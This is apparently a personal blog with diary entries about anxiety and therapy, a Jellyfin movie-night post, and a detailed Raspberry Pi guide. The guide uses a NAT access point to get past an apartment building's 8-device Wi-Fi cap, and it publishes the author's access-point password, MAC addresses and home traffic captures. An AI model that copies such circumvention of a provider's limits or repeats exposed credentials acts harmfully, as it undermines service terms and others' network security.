Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

Starting on microSD, graduating to SSD later

Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

Where this goes next

Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

Happy streaming.

The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

How am I doing?

Mon, 15 Dec 2025 08:27:13 +0000

This constant feeling of how people think about me, how they view me, what is happening with them is killing me. I’m interpretting every little move, every action, every response as me being in trouble. Not only is it exhausting, but also it’s draining me. Draining me of happiness, being in pursuit of happyness.

Idk what is wrong with me. Idk why I can’t let go. I don’t know why I need so much closure. Idk. I really don’t. What I know is that I’m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.

This “others” in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage.

Idk what to do. I feel like I’m stuck in this life that I don’t like, with so much that I love. Does this even make sense? Idk. I know I’m full of love, and I’m willing to give it to someone.

Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don’t know if I’m lying to myself or not. Second, I know my therapist is worried for me. For how easy I can fall in the wrong people’s hand, and how badly I could get hurt.

He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

Setting Boundries

Thu, 04 Dec 2025 14:38:36 +0000

I was watching this video the other day. It’s an interesting video imo. This is something I’ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?

Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other’s respect. Naturally that evolved into me becoming a people please. A so called “nice person”. I’ve even been made fun of with those words.

All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I’m broken. When people act cold with me, I assume they don’t like me. Then I want to fix things. Then I become annoying. I look like an “anxiously attached” person.

But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It’s sad, and it’s eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please.

So… I made a decision. To stay away from everyone. To make distance.

The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don’t want to lose. But it’s part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place?

The part I’m making mistake in is that everyone thinks something bad has happened. And they “probably” expect me to talk to them about it. Now this is the part I had to work on. The “setting boundry” part. I don’t know if I can do it respectfully or not. I know I will break if I talk.

I don’t really like to stay away from people, to push my friends away. But for now, I have to. I hope I won’t regret any of these actions. I hope I can heal. I don’t know what will happen next, I just know that I don’t want to hangout in large groups for a while. I don’t want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won’t turn into an incel. I know I won’t. I know I push through. I know…

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

November '25

Sun, 30 Nov 2025 07:53:40 +0000

4th

Again, let’s setup some goals for the month.

Literature review
Keeping up with my coursework
Working on my codebase
Getting healthier diet and excercise-wise

30th

I did a bit of literature review, it’s still lacking unfortunately.

Coursework is ok-ish. I’ve been trying to work on assignements and understand them.

I rewrote the whole codebase, now we have a modularized design that should be easier to add to.

I’ve been eating more and more healthy, excercise is still lacking. I’ll get to that later.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)

Sun, 23 Nov 2025 00:00:00 +0000

The Day My Wi-Fi Said “Eight Is Enough”

My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

Hardware: what I picked and why

Raspberry Pi 4 (4GB)
It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.
ALFA AWUS036ACHM (USB Wi-Fi)
Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).
Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
Wi-Fi spikes current draw; brown-outs cause random gremlins.
16–32 GB microSD, heatsinks, ventilated case
The Pi 4 appreciates a bit of airflow.
(Optional) Ethernet cable
If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

What this setup actually does

The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.

Setup details (the friendly version)

1) Access point with hostapd

I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

interface=wlx00c0cab7ab29
ssid=
country_code=DE
hw_mode=g
channel=6
ieee80211n=1
wmm_enabled=1
# Don't require HT or you'll reject some tiny IoT clients:
require_ht=0
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=

2) DHCP on the IoT side (dnsmasq)

Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

interface=wlx00c0cab7ab29
bind-interfaces
dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
dhcp-option=3,192.168.50.1
dhcp-option=6,1.1.1.1,8.8.8.8
port=0  # leave port 53 to systemd-resolved
log-dhcp

3) Routing + NAT (nftables)

This makes every downstream device appear as the Pi upstream:

table inet filter {
  chain input {
    type filter hook input priority filter; policy accept;
    ct state established,related accept
    iif "lo" accept
    iif "wlan0" accept
    iif "wlx00c0cab7ab29" accept
    udp dport 5353 accept  # mDNS
    counter drop
  }
  chain forward {
    type filter hook forward priority filter; policy accept;
    ct state established,related accept
    iif "wlx00c0cab7ab29" oif "wlan0" accept
    iif "wlan0" oif "wlx00c0cab7ab29" accept
  }
  chain output { type filter hook output priority filter; policy accept; }
}
table ip nat {
  chain postrouting {
    type nat hook postrouting priority srcnat; policy accept;
    oif "wlan0" masquerade
  }
}

4) mDNS across subnets (Avahi)

The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

[server]
allow-interfaces=wlan0,wlx00c0cab7ab29
[reflector]
enable-reflector=yes

I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

Now some random questions that I looked up in internet:

How many devices can this really support?

Short answer: a lot—for IoT. Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

What speeds should I expect?

LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: ~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^
Internet (IoT device → upstream via Pi): If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.
Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

Why these choices?

2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.
WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.
20 MHz channel prevents older or power-saving devices from flaking out.
Avahi reflector avoids any changes to the building’s router and still lets discovery work.
NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

Troubleshooting

hostapd masked/disabled →

sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd

dnsmasq can’t start because of port 53 →
set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.
“Station does not support mandatory HT PHY” in hostapd logs →
add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.
AirPlay/HomeKit don’t show up across subnets →
ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:
- /etc/avahi/avahi-daemon.conf has:
```
[server]
allow-interfaces=wlan0,wlx00c0cab7ab29
[reflector]
enable-reflector=yes
```
- firewall allows:
```
udp dport 5353 accept
```
Weak signal / flaky joins →
use a short USB 3 extension to move the ALFA away from the Pi and cables;
scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.
Clients connect but no internet →
verify IP forward & NAT:

sudo sysctl net.ipv4.ip_forward

If it’s 0, enable it permanently and reload

echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
sudo sysctl --system

Verify the nftables NAT rule exists (masquerade out via wlan0)

sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'

Add it if missing

sudo nft add table ip nat
sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'

Persist nftables (Ubuntu)

sudo sh -c 'nft list ruleset > /etc/nftables.conf'
sudo systemctl enable --now nftables

Quick service sanity checks

hostapd (AP)

sudo systemctl status hostapd --no-pager
sudo journalctl -u hostapd -n 60 --no-pager
iw dev wlx00c0cab7ab29 info
iw dev wlx00c0cab7ab29 station dump

dnsmasq (DHCP on IoT side)

sudo systemctl status dnsmasq --no-pager
sudo journalctl -u dnsmasq -n 80 --no-pager
grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
tail -n 50 /var/lib/misc/dnsmasq.leases

Avahi (mDNS reflector)

grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
sudo systemctl status avahi-daemon --no-pager
sudo journalctl -u avahi-daemon -n 60 --no-pager

Basic connectivity tests from a client on IoT_hub

got DHCP?

ip addr show
ip route
cat /etc/resolv.conf

can you reach the Pi and the internet?

ping -c 3 192.168.50.1
ping -c 3 1.1.1.1
ping -c 3 google.com

DNS works end-to-end?


dig +short _airplay._tcp.local @224.0.0.251 -p 5353

(Or use a Bonjour browser app to confirm the HomePod is discoverable.)

If AirPlay/HomeKit discovery is flaky across subnets

make sure mDNS is allowed both directions on the Pi


sudo nft add rule inet filter input udp dport 5353 accept
sudo nft add rule inet filter forward udp dport 5353 accept
sudo sh -c 'nft list ruleset > /etc/nftables.conf'

restart Avahi cleanly and re-announce

sudo systemctl restart avahi-daemon
sudo journalctl -u avahi-daemon -n 40 --no-pager

from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv

(in another terminal:)

sudo tcpdump -ni wlan0 udp port 5353 -vvv

Throughput + airtime sanity (optional)

simple iperf3 (install on Pi and a client)

sudo apt-get update && sudo apt-get install -y iperf3

(on the Pi:) iperf3 -s (on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

check channel utilization/interference (from Pi)

sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'

(if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

Scaling tips (lots of tiny IoT devices)

hostapd tweaks (add to hostapd.conf, then restart)

(reduce management overhead slightly; keep conservative for compatibility)

beacon_int=100
dtim_period=2
wmm_enabled=1
ap_isolate=0
max_num_sta=256      # logical cap; real limit is airtime/driver

sudo systemctl restart hostapd

if some ESP/low-power clients are sticky or nap too hard:

(device-side) disable aggressive power saving if supported
(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

“Clients connect but no internet” quick checklist

Pi has a default route via upstream?

ip route | grep default

NAT counters are increasing when clients surf?

sudo nft list chain ip nat postrouting -a

connections tracked?

sudo conntrack -L -o extended | head -n 40

last resort: bounce the pieces

sudo systemctl restart hostapd dnsmasq avahi-daemon
sudo systemctl restart NetworkManager || true
sudo systemctl restart nftables

Network Traffic (embedded from captures)

For fun, and curiousity!

1) DHCP leases (who joined the IoT network)

1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc

2) Top talkers by bytes (hosts table)

192.168.50.233,7346
192.168.50.118,7216
192.168.50.131,7216
17.253.53.203,7040
54.217.122.41,6271
192.168.50.216,5392
192.168.50.104,3058
192.168.50.189,2278
17.242.218.132,1802
192.168.50.134,1750
192.168.50.196,1653
3.122.71.119,639
18.196.19.65,570
161.117.178.131,391
17.253.53.201,148
17.57.146.25,90
10.172.72.196,66
224.0.0.251,0
224.0.0.2,0
255.255.255.255,0

3) Heaviest flows (src, dst, proto, dport, bytes)

192.168.50.202,192.168.50.131,TCP,59903,402
192.168.50.202,192.168.50.118,TCP,59807,402
161.117.178.131,192.168.50.134,TCP,58246,391
192.168.50.216,192.168.50.202,UDP,5353,336
192.168.50.202,192.168.50.189,UDP,5353,312
192.168.50.202,192.168.50.196,UDP,5353,234
17.253.53.203,192.168.50.202,TCP,64726,222
192.168.50.216,17.57.146.25,TCP,5223,172
192.168.50.216,192.168.50.233,UDP,5353,162
192.168.50.202,192.168.50.104,UDP,5353,156
17.253.53.201,192.168.50.202,TCP,64727,148
192.168.50.202,17.253.53.201,TCP,443,132
192.168.50.216,224.0.0.251,IP,0,92
192.168.50.216,224.0.0.2,IP,0,92
17.57.146.25,192.168.50.216,TCP,64544,90
192.168.50.216,192.168.50.118,UDP,5353,75
192.168.50.216,192.168.50.131,UDP,5353,75
192.168.50.216,192.168.50.134,UDP,5353,75
192.168.50.216,10.172.72.196,TCP,59593,70
10.172.72.196,192.168.50.216,TCP,51638,66

4) Conntrack snapshot (active connections inventory)

ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1

5) Part of Raw packet capture

What’s inside?

tshark -r iot_ap_120s.pcap -q -z io,stat,60


==================================
| IO Statistics                  |
|                                |
| Duration: 119.773534 secs      |
| Interval:  60 secs             |
|                                |
| Col 1: Frames and bytes        |
|--------------------------------|
|            |1                  |
| Interval   | Frames |   Bytes  |
|--------------------------------|
|   0 <>  60 |    400 |    60449 |
|  60 <> Dur |  24672 | 30179911 |
==================================

Protocol hierarchy (what kinds of traffic?)

❯ tshark -r iot_ap_120s.pcap -q -z io,phs

===================================================================
Protocol Hierarchy Statistics
Filter: 

eth                                      frames:25072 bytes:30240360
  ip                                     frames:24706 bytes:30195993
    udp                                  frames:349 bytes:94583
      mdns                               frames:241 bytes:60693
      data                               frames:32 bytes:2240
      quic                               frames:76 bytes:31650
        quic                             frames:2 bytes:2484
    tcp                                  frames:24353 bytes:30101226
      tls                                frames:2413 bytes:3493680
        tcp.segments                     frames:2256 bytes:3378795
          tls                            frames:2222 bytes:3353799
      data                               frames:147 bytes:71717
      tcp.segments                       frames:5 bytes:7550
    igmp                                 frames:4 bytes:184
  arp                                    frames:150 bytes:6300
  ipv6                                   frames:216 bytes:38067
    icmpv6                               frames:124 bytes:10704
    udp                                  frames:79 bytes:25415
      data                               frames:2 bytes:132
      mdns                               frames:77 bytes:25283
    tcp                                  frames:13 bytes:1948
      data                               frames:1 bytes:90
===================================================================

Top IP conversations (who talked to whom?)

❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
================================================================================
IPv4 Conversations
Filter:
                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
